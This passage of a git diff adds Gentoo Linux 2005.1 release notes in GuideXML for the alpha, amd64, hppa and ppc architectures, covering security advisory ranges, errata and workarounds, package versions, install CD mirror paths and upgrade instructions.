+ <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+
+<author title="Alpha Release Coordinator">
+	<mail link="kloeri@gentoo.org">Bryan Østergaard</mail>
+</author>
+
+<abstract>
+Gentoo 2005.1 Release Notes.
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>28 July 2005</date>
+
+<chapter>
+	<title>The Gentoo Linux Project</title>
+	<section>
+		<title>Overview</title>
+		<body>
+			<p>Gentoo Linux is a community driven project committed to producing
+			high quality opensource software. These release notes for Gentoo Linux 2005.1
+			summarize important package updates, security updates, and many other changes
+			that have happened since Gentoo Linux 2005.0</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Table of Contents</title>
+		<body>
+		<ul>
+			<li>1. Overview</li>
+			<li>2. Important Changes</li>
+			<li>	2.1 Security Updates</li>
+			<li>	2.2 Errata</li>
+			<li>	2.3 Critical Package Updates</li>
+			<li>	2.4 Portage Updates</li>
+			<li>	2.5 Userland Updates</li>
+			<li>	2.6 Documentation Updates</li>
+			<li>3. Upgrading from previous versions of Gentoo Linux</li>
+		</ul>
+
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>Important Changes for 2005.1</title>
+	<section>
+		<title>Security Updates</title>
+		<body>
+			<p>Gentoo Linux 2005.1 contains security updates to address GLSAs 
+			(Gentoo Linux Security Advisories) numbered 200503-18 to 200507-27.
+			</p>
+			
+			<p>Individual GLSAs can be referenced by going to
+			<c>http://www.gentoo.org/security/en/glsa/glsa-$x.xml</c>, and substituting <c>$x</c>
+			with the desired GLSA number. </p>
+			
+			<p>For more information, please consult the the 
+			<uri link="http://security.gentoo.org/">Gentoo Linux Security Project home page</uri>.</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Errata</title>
+		<body>
+			<table>
+			<tr>
+				<th>Errata</th>
+				<th>Workaround</th>
+			</tr>
+			<tr>
+				<ti>Some alpha models may hang when booting</ti>
+				<ti>Boot using the gentoo-2.4 kernel</ti>
+			</tr>
+			<tr>
+				<ti>The default gentoo-2.6 doesn't support SMP due to kernel bugs</ti>
+				<ti>Boot using the gentoo-2.4 kernel</ti>
+			</tr>
+				
+			</table>
+			
+		</body>
+	</section>
+
+	<section>
+		<title>Critical Package Updates</title>
+		<body>
+			<p>Important package-versions in this release:</p>
+
+			<ul>
+				<li>gcc 3.3.2-r7</li>
+				<li>glibc-2.3.4.20041102-r1</li>
+				<li>vanilla-sources-2.4.30</li>
+				<li>vanilla-sources-2.6.11.8</li>
+				<li>Portage-2.0.51.22-r2</li>
+				<li>xorg-x11-6.8.2-r2</li>
+				<li>gnome-2.10-r1</li>
+				<li>xfce4-4.2.2</li>
+				<li>aboot-1.0_pre20040408</li>
+			</ul>
+
+			<p>There is both 2.6 and 2.4 kernels available on the livecd that will run on both, uniprocessor and smp machines.</p>
+
+			<p>For information about how to change your profile please read <uri link="http://www.gentoo.org/doc/en/gentoo-upgrading.xml">
+			http://www.gentoo.org/doc/en/gentoo-upgrading.xml</uri></p>
+			
+			<warn>Cascading profiles will only work with Portage >=2.0.51. Make sure to first upgrade to an appropriate version of Portage
+			and <b>then</b> upgrade your profile!</warn>
+			
+			
+		</body>
+	</section>
+
+	<section>
+		<title>Portage Updates</title>
+		<body>
+			<p>The Portage version included in this release is 2.0.51.22-r2 and
+			the <uri link="http://www.gentoo.org/cgi-bin/viewcvs.cgi/portage/ChangeLog?root=gentoo-src">ChangeLog</uri>
+			can be found via our online CVS repository.</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Userland Updates</title>
+		<body>
+			<ul>
+				<li>Catalyst, the Gentoo Release Metatool, is stable in Portage as version
+				1.1.10.7. To use Catalyst, simply <c>emerge catalyst</c>. </li>
+			</ul>
+		</body>
+	</section>
+
+	<section>
+		<title>Documentation Updates</title>
+		<body>
+			<p>
+			Much consideration and time has been spent on the Gentoo Installation Handbook in 
+			order to get it more in sync with Gentoo 2005.1. Please note that it is a constant 
+			work in progress, and if any bugs are encountered, please refer them to the Gentoo Linux 
+			bugtracking system at http://bugs.gentoo.org.
+			</p>
+		</body>
+	</section>
+	
+</chapter>
+
+<chapter>
+	<title>Upgrading and Installation of Gentoo Linux 2005.1</title>
+	<section>
+		<title>Installing Gentoo Linux 2005.1</title>
+		<body>
+			<p>The entire Gentoo Linux installation process is documented 
+			in the <uri link="http://www.gentoo.org/doc/en/handbook/handbook.xml">Gentoo Handbook</uri>. </p>
+			
+			<p>Each architecture offers three LiveCDs. The first one being a universal
+			bootable LiveCD which can be used to install with or without an Internet connection.
+			The second LiveCD is a non-bootable subarch-optimized Gentoo Reference Platform (GRP)
+			LiveCD which contains precompiled binaries of popular
+			programs such as X.org-x11, KDE, and GNOME. The third LiveCD is a bootable minimal LiveCD
+			that is smaller in size and includes only the basics needed to simply boot a machine.</p>
+			
+			<p>At minimum, the universal or minimal LiveCD is required to boot the machine and install Gentoo.
+			The universal LiveCD requires an Internet connection to install from a stage1
+			installation tarball, but does not require an Internet connection to install
+			from a stage3 installation tarball. The minimal LiveCD requires an Internet connection
+			to install Gentoo Linux.</p>
+
+			<p>There is one kernel available on both bootable cds. It will run on both, uniprocessor and smp systems.
+			The default kernel are based on linux-2.6.11.8 (vanilla-sources-2.6.11.8). The alternative kernel, <c>gentoo-2.4</c>, 
+			is based on linux-2.4.30 (vanilla-sources-2.4.30). Press "F1" at the boot prompt to choose which kernel to boot into.</p>
+
+			<p>The LiveCDs are located on the mirrors as follows: </p>
+			<table>
+				<tr>
+					<th>LiveCD Description</th>
+					<th>Location on Mirrors</th>
+				</tr>
+				<tr>
+					<ti>Universal bootable LiveCD</ti>
+					<ti>/releases/alpha/2005.1/livecd/universal/install-alpha-universal-2005.1.iso</ti>
+				</tr>
+				<tr>
+					<ti>Minimal bootable LiveCD</ti>
+					<ti>/releases/alpha/2005.1/livecd/universal/install-alpha-minimal-2005.1.iso</ti>
+				</tr>
+				<tr>
+					<ti>Non-bootable GRP-/Packages CD</ti>
+					<ti>/releases/alpha/2005.1/livecd/$subarch/packages-alpha-2005.1.iso</ti>
+				</tr>
+			</table>
+		</body>
+	</section>
+	<section>
+		<title>Upgrading to Gentoo Linux 2005.1</title>
+		<body>
+			<p>
+			If you already have a working installation of Gentoo Linux (Version
+			1.4, 2004.*, 2005.0) there is no need to reinstall. You will automatically get
+			Gentoo 2005.1 if you sync your Portage tree and run
+			<c>emerge --update world</c>. If you still have an installation
+			with a Gentoo 1.2 profile it might make sense -- in some cases -- 
+			that you do a new installation.</p>
+			<p>
+			There is also the possibility to update your system to a 1.4 
+			profile from which you -- as already stated -- can easily get to
+			Gentoo 2005.1. This update includes recompiling of glibc and some
+			essential system packages; it will take a very long time (possibly
+			longer as a complete re-installation) and it might also fail. So if
+			you still have an installation with a Gentoo 1.2 profile, it's
+			your decision whether you update or reinstall.
+			</p>
+		</body>
+	</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2005.1/amd64-release-notes.xml b/xml/htdocs/proj/en/releng/release/2005.1/amd64-release-notes.xml
new file mode 100644
index 00000000..90612a07
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2005.1/amd64-release-notes.xml
@@ -0,0 +1,226 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2005.1/amd64-release-notes.xml,v 1.2 2005/07/28 21:23:09 kugelfang Exp $ -->
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="amd64-release-notes.xml">
+<title>AMD64 Release Notes for Gentoo Linux 2005.1</title>
+
+<author title="Author">
+ <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+
+<author title="AMD64 Release Coordinator">
+	<mail link="kugelfang@gentoo.org">Danny van Dyk</mail>
+</author>
+
+<abstract>
+Gentoo 2005.1 Release Notes.
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>28 July 2005</date>
+
+<chapter>
+	<title>The Gentoo Linux Project</title>
+	<section>
+		<title>Overview</title>
+		<body>
+			<p>Gentoo Linux is a community driven project committed to producing
+			high quality opensource software. These release notes for Gentoo Linux 2005.1
+			summarize important package updates, security updates, and many other changes
+			that have happened since Gentoo Linux 2005.0</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Table of Contents</title>
+		<body>
+		<ul>
+			<li>1. Overview</li>
+			<li>2. Important Changes</li>
+			<li>	2.1 Security Updates</li>
+			<li>	2.2 Errata</li>
+			<li>	2.3 Critical Package Updates</li>
+			<li>	2.4 Portage Updates</li>
+			<li>	2.5 Userland Updates</li>
+			<li>	2.6 Documentation Updates</li>
+			<li>3. Upgrading from previous versions of Gentoo Linux</li>
+		</ul>
+
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>Important Changes for 2005.1</title>
+	<section>
+		<title>Security Updates</title>
+		<body>
+			<p>Gentoo Linux 2005.1 contains security updates to address GLSAs 
+			(Gentoo Linux Security Advisories) numbered 200503-18 to 200507-27.
+			</p>
+			
+			<p>Individual GLSAs can be referenced by going to
+			<c>http://www.gentoo.org/security/en/glsa/glsa-$x.xml</c>, and substituting <c>$x</c>
+			with the desired GLSA number. </p>
+			
+			<p>For more information, please consult the the 
+			<uri link="http://security.gentoo.org/">Gentoo Linux Security Project home page</uri>.</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Errata</title>
+		<body>
+			<table>
+			<tr>
+				<th>Errata</th>
+				<th>Workaround</th>
+			</tr>
+			<tr>
+				<ti>Creating a RAID fails because of missing device nodes</ti>
+				<ti>Manually create the device nodes using <c>MAKEDEV md</c></ti>
+			</tr>
+			<tr>
+				<ti>Bootsplash doesn't appear for modes below 1024x768</ti>
+				<ti>Modes below 1024x768 are not supported by the splashscreen on the livecd. You
+				should be able to install anyway since it's just eyecandy</ti>
+			</tr>
+			</table>
+		</body>
+	</section>
+
+	<section>
+		<title>Critical Package Updates</title>
+		<body>
+			<p>Important package-versions in this release:</p>
+
+			<ul>
+				<li>gcc 3.4.3-r1</li>
+				<li>glibc 2.3.5</li>
+				<li>gentoo-sources 2.6.12-r6</li>
+				<!--<li>hardened-sources 2.6.11-r15</li>-->
+				<li>vanilla-sources 2.6.11.11</li>
+				<li>Portage 2.0.51.22-r2</li>
+				<li>x.org-x11 6.8.2-r2</li>
+				<li>KDE 3.4.1</li>
+				<li>GNOME 2.10-r1</li>
+				<li>XFCE4 4.2.2</li>
+			</ul>
+
+			<p>There is only one kernel available on the livecd that will run on both, uniprocessor and smp
+			machines as well as machines with Intel and AMD processors.</p>
+
+			<p>For information about how to change your profile please read the
+			<uri link="http://www.gentoo.org/proj/en/base/amd64/howtos/index.xml?part=1&amp;chap=1">
+			Gentoo/AMD64 2005.1 upgrade guide</uri></p>
+			
+			<warn>In case that you update from 2004.3, please follow above guide <b>by the letter</b>, or your
+			system may end up unusable.</warn>
+		</body>
+	</section>
+
+	<section>
+		<title>Portage Updates</title>
+		<body>
+			<p>The Portage version included in this release is 2.0.51.22-r2 and
+			the <uri link="http://www.gentoo.org/cgi-bin/viewcvs.cgi/portage/ChangeLog?root=gentoo-src">ChangeLog</uri>
+			can be found via our online CVS repository.</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Userland Updates</title>
+		<body>
+			<ul>
+				<li>Catalyst, the Gentoo Release Metatool, is stable in Portage as version
+				1.1.10.8. To use Catalyst, simply <c>emerge catalyst</c>. </li>
+			</ul>
+		</body>
+	</section>
+
+	<section>
+		<title>Documentation Updates</title>
+		<body>
+			<p>
+			Much consideration and time has been spent on the Gentoo Installation Handbook in 
+			order to get it more in sync with Gentoo 2005.1. Please note that it is a constant 
+			work in progress, and if any bugs are encountered, please refer them to the Gentoo Linux 
+			bugtracking system at http://bugs.gentoo.org.
+			</p>
+		</body>
+	</section>
+	
+</chapter>
+
+<chapter>
+	<title>Upgrading and Installation of Gentoo Linux 2005.1</title>
+	<section>
+		<title>Installing Gentoo Linux 2005.1</title>
+		<body>
+			<p>The entire Gentoo Linux installation process is documented 
+			in the <uri link="http://www.gentoo.org/doc/en/handbook/handbook.xml">Gentoo Handbook</uri>. </p>
+			
+			<p>Each architecture offers three CDs. The first one being a universal
+			bootable CD which can be used to install with or without an Internet connection.
+			The second CD is a non-bootable subarch-optimized Gentoo Reference Platform (GRP)
+			package CD which contains precompiled binaries of popular
+			programs such as X.org-x11, KDE, and GNOME. The third CD is a bootable minimal install CD
+			that is smaller in size and includes only the basics needed to simply boot a machine.</p>
+			
+			<p>At minimum, the universal or minimal install CD is required to boot the machine and install Gentoo.
+			The universal install CD requires an Internet connection to install from a stage1
+			installation tarball, but does not require an Internet connection to install
+			from a stage3 installation tarball. The minimal install CD requires an Internet connection
+			to install Gentoo Linux.</p>
+
+			<p>There is one kernel available on both bootable cds that will run on both, uniprocessor and smp systems.
+			The kernel is based on linux-2.6.12 (gentoo-sources-2.6.12-r6).</p>
+
+			<p>The LiveCDs are located on the mirrors as follows: </p>
+			<table>
+				<tr>
+					<th>LiveCD Description</th>
+					<th>Location on Mirrors</th>
+				</tr>
+				<tr>
+					<ti>Universal bootable LiveCD</ti>
+					<ti>/releases/amd64/2005.1/installcd/install-amd64-universal-2005.1.iso</ti>
+				</tr>
+				<tr>
+					<ti>Minimal bootable LiveCD</ti>
+					<ti>/releases/amd64/2005.1/installcd/install-amd64-minimal-2005.1.iso</ti>
+				</tr>
+				<tr>
+					<ti>Non-bootable GRP-/Packages CD</ti>
+					<ti>/releases/amd64/2005.0/packagecd/packages-amd64-2005.1.iso</ti>
+				</tr>
+			</table>
+		</body>
+	</section>
+	<section>
+		<title>Upgrading to Gentoo Linux 2005.1</title>
+		<body>
+			<p>
+			If you already have a working installation of Gentoo Linux (Version
+			1.4, 2004.*, 2004.0) there is no need to reinstall. You will automatically get
+			Gentoo 2005.1 if you sync your Portage tree and run
+			<c>emerge --update world</c>. If you still have an installation
+			with a Gentoo 1.2 profile it might make sense -- in some cases -- 
+			that you do a new installation.</p>
+			<p>
+			There is also the possibility to update your system to a 1.4 
+			profile from which you -- as already stated -- can easily get to
+			Gentoo 2005.1. This update includes recompiling of glibc and some
+			essential system packages; it will take a very long time (possibly
+			longer as a complete re-installation) and it might also fail. So if
+			you still have an installation with a Gentoo 1.2 profile, it's
+			your decision whether you update or reinstall.
+			</p>
+		</body>
+	</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2005.1/hppa-release-notes.xml b/xml/htdocs/proj/en/releng/release/2005.1/hppa-release-notes.xml
new file mode 100644
index 00000000..5ed64c0f
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2005.1/hppa-release-notes.xml
@@ -0,0 +1,235 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2005.1/hppa-release-notes.xml,v 1.1 2005/07/29 23:59:42 dertobi123 Exp $ -->
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="hppa-release-notes.xml">
+<title>HPPA Release Notes for Gentoo Linux 2005.1</title>
+
+<author title="Author">
+ <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+
+<author title="HPPA Release Coordinator">
+  <mail link="dertobi123@gentoo.org">Tobias Scherbaum</mail>
+</author>
+
+<abstract>
+Gentoo 2005.1 Release Notes.
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>2005-07-30</date>
+
+<chapter>
+  <title>The Gentoo Linux Project</title>
+  <section>
+    <title>Overview</title>
+    <body>
+      <p>Gentoo Linux is a community driven project committed to producing high
+        quality opensource software. These release notes for Gentoo Linux 2005.1
+        summarize important package updates, security updates, and many other
+        changes that have happened since Gentoo Linux 2004.3.</p>
+    </body>
+  </section>
+
+  <section>
+    <title>Table of Contents</title>
+    <body>
+    <ul>
+      <li>1. Overview</li>
+      <li>2. Important Changes</li>
+      <li>  2.1 Security Updates</li>
+      <li>  2.2 Profile Update</li>
+      <li>  2.3 Errata</li>
+      <li>  2.4 Critical Package Updates</li>
+      <li>  2.5 Portage Updates</li>
+      <li>  2.6 Userland Updates</li>
+      <li>  2.7 Documentation Updates</li>
+      <li>3. Upgrading from previous versions of Gentoo Linux</li>
+    </ul>
+
+    </body>
+  </section>
+</chapter>
+
+<chapter>
+  <title>Important Changes for 2005.1</title>
+  <section>
+    <title>Security Updates</title>
+    <body>
+      <p>Gentoo Linux 2005.1 contains security updates to address GLSAs (Gentoo
+        Linux Security Advisories) numbered to 200507-27.</p>
+
+      <p>Individual GLSAs can be referenced by going to
+        <c>http://www.gentoo.org/security/en/glsa/glsa-$x.xml</c>, and
+        substituting <c>$x</c> with the desired GLSA number.</p>
+
+      <p>For more information, please consult the the <uri
+          link="http://security.gentoo.org/">Gentoo Linux Security Project home
+          page</uri>.</p>
+    </body>
+  </section>
+
+  <section>
+    <title>Errata</title>
+    <body>
+      <table>
+        <tr>
+          <th>Errata</th>
+          <th>Workaround</th>
+        </tr>
+        <tr>
+          <ti>There is no <path>/etc/kernels/</path>-directory as the motd
+            prints.</ti>
+          <ti>The kernel-config is also packed into
+            <path>/proc/config.gz</path>.  Use <c>zcat</c> or <c>zless</c> for
+            viewing.</ti>
+        </tr>
+      </table>
+
+    </body>
+  </section>
+
+  <section>
+    <title>Critical Package Updates</title>
+    <body>
+      <p>Important package-versions in this release:</p>
+
+      <ul>
+        <li>gcc-3.3.5-r1</li>
+        <li>glibc-2.3.4.20040808-r1</li>
+        <li>hppa-sources-2.6.12.2_pa2</li>
+        <li>portage-2.0.51.22-r2</li>
+        <li>xorg-x11-6.8.2-r2</li>
+        <li>kde-3.3.2</li>
+        <li>gnome-2.10-r1</li>
+        <li>xfce4-4.2.0</li>
+      </ul>
+
+      <p>There are two kernels on the InstallCD:</p>
+      <table>
+        <tr>
+          <th>Kernel filename</th>
+          <th>Capabilites</th>
+        </tr>
+        <tr>
+          <ti>vmlinux</ti>
+          <ti>Supports uniprocessor HPPA machines</ti>
+        </tr>
+        <tr>
+          <ti>vmlinux64</ti>
+          <ti>Supports uniprocessor HPPA 2.0 machines. If you have less then 4
+            GB of RAM you should choose the 32-Bit vmlinux kernel.</ti>
+        </tr>
+      </table>
+
+    </body>
+  </section>
+
+  <section>
+    <title>Portage Updates</title>
+    <body>
+      <p>The Portage version included in this release is 2.0.51.22-r2 and the <uri
+          link="http://www.gentoo.org/cgi-bin/viewcvs.cgi/portage/ChangeLog?root=gentoo-src">ChangeLog</uri>
+        can be found via our online CVS repository.</p>
+    </body>
+  </section>
+
+  <section>
+    <title>Userland Updates</title>
+    <body>
+      <ul>
+        <li>Catalyst, the Gentoo Release Metatool, is stable in Portage as
+          version 1.1.10.10. To use Catalyst, simply <c>emerge catalyst</c>.
+        </li>
+      </ul>
+    </body>
+  </section>
+
+  <section>
+    <title>Documentation Updates</title>
+    <body>
+      <p>Much consideration and time has been spent on the <uri
+        link="http://www.gentoo.org/doc/en/handbook/handbook-hppa.xml">Gentoo
+        Installation Handbook</uri> in order to get it more in sync with
+        Gentoo 2005.1. Please note that it is a constant work in progress, and
+        if any bugs are encountered, please refer them to the Gentoo Linux
+        bugtracking system at <uri link="http://bugs.gentoo.org" />.  </p>
+    </body>
+  </section>
+
+</chapter>
+
+<chapter>
+  <title>Upgrading and Installation of Gentoo Linux 2005.1</title>
+  <section>
+    <title>Installing Gentoo Linux 2005.1</title>
+    <body>
+      <p>The entire Gentoo Linux installation process is documented in the <uri
+          link="http://www.gentoo.org/doc/en/handbook/handbook.xml">Gentoo
+          Handbook</uri>.</p>
+
+      <p>Each architecture offers two InstallCDs. The first one being an universal
+        bootable InstallCD which can be used to install with or without an Internet
+        connection. The second InstallCD is a bootable minimal InstalCD that is
+        smaller in size and includes only the basics needed to simply boot a machine.
+        In addition we provide a non-bootable subarch-optimized
+        Gentoo Reference Platform (GRP) PackageCD which contains precompiled
+        binaries of popular programs such as X.org-x11, KDE, and GNOME.</p>
+
+      <p>At minimum, the universal or minimal InstallCD is required to boot the
+        machine and install Gentoo.  The universal InstallCD requires an Internet
+        connection to install from a stage1 installation tarball, but does not
+        require an Internet connection to install from a stage3 installation
+        tarball. The minimal InstallCD requires an Internet connection to install
+        Gentoo Linux.</p>
+
+      <p>There is one kernel available on both bootable cds. It will run on
+        both, uniprocessor and multiprocessor systems.  The kernel is based on
+        linux-2.6.12 (hppa-sources-2.6.12.2_pa2).</p>
+
+      <p>The InstallCDs are located on the mirrors as follows: </p>
+      <table>
+        <tr>
+          <th>InstallCD Description</th>
+          <th>Location on Mirrors</th>
+        </tr>
+        <tr>
+          <ti>Universal bootable InstallCD</ti>
+          <ti>/releases/hppa/2005.1/hppa/installcd/install-hppa-universal-2005.1.iso</ti>
+        </tr>
+        <tr>
+          <ti>Minimal bootable InstallCD</ti>
+          <ti>/releases/hppa/2005.1/hppa/installcd/install-hppa-minimal-2005.1.iso</ti>
+        </tr>
+        <tr>
+          <ti>Non-bootable GRP-/PackageCD</ti>
+          <ti>/experimental/hppa/packagecd/$subarch/packages-$subarch-2005.1.iso</ti>
+        </tr>
+      </table>
+    </body>
+  </section>
+  <section>
+    <title>Upgrading to Gentoo Linux 2005.1</title>
+    <body>
+      <p> If you already have a working installation of Gentoo Linux (Version
+        1.4, 2004.0 through 2005.0) there is no need to reinstall. You will
+        automatically get Gentoo 2005.1 if you sync your Portage tree and run
+        <c>emerge --update world</c>. If you still have an installation with a
+        Gentoo 1.2 profile it might make sense -- in some cases -- that you do a
+        new installation.</p>
+
+      <p> There is also the possibility to update your system to a 1.4 profile
+        from which you -- as already stated -- can easily get to Gentoo 2005.1.
+        This update includes recompiling of glibc and some essential system
+        packages; it will take a very long time (possibly longer as a complete
+        re-installation) and it might also fail. So if you still have an
+        installation with a Gentoo 1.2 profile, it's your decision whether you
+        update or reinstall.</p>
+    </body>
+  </section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2005.1/ppc-release-notes.xml b/xml/htdocs/proj/en/releng/release/2005.1/ppc-release-notes.xml
new file mode 100644
index 00000000..b4ee87ae
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2005.1/ppc-release-notes.xml
@@ -0,0 +1,278 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2005.1/ppc-release-notes.xml,v 1.7 2005/08/08 19:42:49 pylon Exp $ -->
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="ppc-release-notes.xml">
+<title>ppc Release Notes for Gentoo Linux 2005.1</title>
+
+<author title="Author">
+ <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+
+<author title="PPC Release Coordinator">
+  <mail link="pylon@gentoo.org">Lars Weiler</mail>
+</author>
+
+<abstract>
+Gentoo 2005.1 Release Notes.
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>2005-07-28</date>
+
+<chapter>
+  <title>The Gentoo Linux Project</title>
+  <section>
+    <title>Overview</title>
+    <body>
+      <p>Gentoo Linux is a community driven project committed to producing high
+        quality opensource software. These release notes for Gentoo Linux 2005.1
+        summarize important package updates, security updates, and many other
+        changes that have happened since Gentoo Linux 2005.0</p>
+    </body>
+  </section>
+
+  <section>
+    <title>Table of Contents</title>
+    <body>
+    <ul>
+      <li>1. Overview</li>
+      <li>2. Important Changes</li>
+      <li>  2.1 Security Updates</li>
+      <li>  2.2 Profile Update</li>
+      <li>  2.3 Errata</li>
+      <li>  2.4 Critical Package Updates</li>
+      <li>  2.5 Portage Updates</li>
+      <li>  2.6 Userland Updates</li>
+      <li>  2.7 Documentation Updates</li>
+      <li>3. Upgrading from previous versions of Gentoo Linux</li>
+    </ul>
+
+    </body>
+  </section>
+</chapter>
+
+<chapter>
+  <title>Important Changes for 2005.1</title>
+  <section>
+    <title>Security Updates</title>
+    <body>
+      <p>Gentoo Linux 2005.1 contains security updates to address GLSAs (Gentoo
+        Linux Security Advisories) numbered 200503-18 to 200507-27.  </p>
+
+      <p>Individual GLSAs can be referenced by going to
+        <c>http://www.gentoo.org/security/en/glsa/glsa-$x.xml</c>, and
+        substituting <c>$x</c> with the desired GLSA number. </p>
+
+      <p>For more information, please consult the the <uri
+          link="http://security.gentoo.org/">Gentoo Linux Security Project home
+          page</uri>.</p>
+    </body>
+  </section>
+
+  <section>
+    <title>Profile Update</title>
+    <body>
+      <p>With Gentoo Linux 2005.1 the PowerPC team made a first step to merge
+        the PowerPC 32-bit and PowerPC 64-bit development teams.  This merge
+        leads also in using a common profile.  The 32-bit ppc profiles can be
+        found in
+        <path>/usr/portage/profiles/default-linux/ppc/2005.1/ppc</path>.  We
+        support further sub-profiles for <path>G3</path>, <path>G4</path>,
+        <path>G3/Pegasos</path> and <path>G4/Pegasos</path>.  Please update
+        you profile as described in <uri
+          link="http://www.gentoo.org/doc/en/gentoo-upgrading.xml" />.</p>
+    </body>
+  </section>
+
+  <section>
+    <title>Errata</title>
+    <body>
+      <table>
+        <tr>
+          <th>Errata</th>
+          <th>Workaround</th>
+        </tr>
+        <tr>
+          <ti><c>pbbuttonsd</c> fails to start.</ti>
+          <ti>This tool gives some power and keyboard advantages to Apple Laptop
+            and Desktop users.  On some systems it fails to start, but that
+            would not harm anything for the installation.</ti>
+        </tr>
+        <tr>
+          <ti>The bootsplash just hangs.</ti>
+          <ti>It may happen that the bootsplash doesn't update during booting.
+            Just press <c>Alt-F1</c> as written on the splashimage.</ti>
+        </tr>
+        <tr>
+          <ti>The fan on some G4 Apple laptops don't work during installation.</ti>
+          <ti>After the CD has booted you have to call <c>modprobe
+              therm_adt746x</c>.  This will load the appropriate kernel module for
+            the fan-controler.  The initial <c>coldplug</c> does not take care of
+            it.</ti>
+        </tr>
+        <tr>
+          <ti>There is no <path>/etc/kernels/</path>-directory as the banner
+            after prints.</ti>
+          <ti>The kernel-config is also packed into
+            <path>/proc/config.gz</path>.  Use <c>zcat</c> or <c>zless</c> for
+            viewing.</ti>
+        </tr>
+      </table>
+
+    </body>
+  </section>
+
+  <section>
+    <title>Critical Package Updates</title>
+    <body>
+      <p>Important package-versions in this release:</p>
+
+      <ul>
+        <li>gcc-3.4.4</li>
+        <li>glibc-2.3.4.20041102-r1</li>
+        <li>gentoo-sources-2.6.12-r6</li>
+        <li>vanilla-sources-2.6.12.2</li>
+        <li>portage-2.0.51.22-r2</li>
+        <li>xorg-x11-6.8.2-r2</li>
+        <li>kde-3.4.1</li>
+        <li>gnome-2.10-r1</li>
+        <li>xfce4-4.2.2</li>
+      </ul>
+
+      <p>There are two kernels on the LiveCD:</p>
+      <table>
+        <tr>
+          <th>Kernel filename</th>
+          <th>Capabilites</th>
+        </tr>
+        <tr>
+          <ti>ppc32</ti>
+          <ti>Supports uniprocessor and multiprocessor 32-bit PowerPC
+            machines.</ti>
+        </tr>
+        <tr>
+          <ti>pegasos</ti>
+          <ti>Supports Genesi's Pegasos I and II machine, currently only
+            uniprocessor.</ti>
+        </tr>
+      </table>
+
+      <p>For information about how to change your profile please read <uri
+          link="http://www.gentoo.org/doc/en/gentoo-upgrading.xml" />.</p>
+
+      <warn>Cascading profiles will only work with Portage >=2.0.51. Make sure
+        to first upgrade to an appropriate version of Portage and <b>then</b>
+        upgrade your profile!</warn>
+
+
+    </body>
+  </section>
+
+  <section>
+    <title>Portage Updates</title>
+    <body>
+      <p>The Portage version included in this release is 2.0.51.22-r2 and the <uri
+          link="http://www.gentoo.org/cgi-bin/viewcvs.cgi/portage/ChangeLog?root=gentoo-src">ChangeLog</uri>
+        can be found via our online CVS repository.</p>
+    </body>
+  </section>
+
+  <section>
+    <title>Userland Updates</title>
+    <body>
+      <ul>
+        <li>Catalyst, the Gentoo Release Metatool, is stable in Portage as
+          version 1.1.10.10. To use Catalyst, simply <c>emerge catalyst</c>.
+        </li>
+      </ul>
+    </body>
+  </section>
+
+  <section>
+    <title>Documentation Updates</title>
+    <body>
+      <p>Much consideration and time has been spent on the <uri
+          link="http://www.gentoo.org/doc/en/handbook/handbook-ppc.xml">Gentoo
+          Installation Handbook</uri> in order to get it more in sync with
+        Gentoo 2005.1. Please note that it is a constant work in progress, and
+        if any bugs are encountered, please refer them to the Gentoo Linux
+        bugtracking system at <uri link="http://bugs.gentoo.org" />.  </p>
+    </body>
+  </section>
+
+</chapter>
+
+<chapter>
+  <title>Upgrading and Installation of Gentoo Linux 2005.1</title>
+  <section>
+    <title>Installing Gentoo Linux 2005.1</title>
+    <body>
+      <p>The entire Gentoo Linux installation process is documented in the <uri
+          link="http://www.gentoo.org/doc/en/handbook/handbook.xml">Gentoo
+          Handbook</uri>.</p>
+
+      <p>Each architecture offers three LiveCDs. The first one being a universal
+        bootable LiveCD which can be used to install with or without an Internet
+        connection.  The second LiveCD is a non-bootable subarch-optimized
+        Gentoo Reference Platform (GRP) LiveCD which contains precompiled
+        binaries of popular programs such as X.org-x11, KDE, and GNOME. The
+        third LiveCD is a bootable minimal LiveCD that is smaller in size and
+        includes only the basics needed to simply boot a machine.</p>
+
+      <p>At minimum, the universal or minimal LiveCD is required to boot the
+        machine and install Gentoo.  The universal LiveCD requires an Internet
+        connection to install from a stage1 installation tarball, but does not
+        require an Internet connection to install from a stage3 installation
+        tarball. The minimal LiveCD requires an Internet connection to install
+        Gentoo Linux.</p>
+
+      <p>There is one kernel available on both bootable cds. It will run on
+        both, uniprocessor and multiprocessor systems.  The kernel is based on
+        linux-2.6.12 (gentoo-sources-2.6.12-r6).</p>
+
+      <p>The LiveCDs are located on the mirrors as follows: </p>
+      <table>
+        <tr>
+          <th>LiveCD Description</th>
+          <th>Location on Mirrors</th>
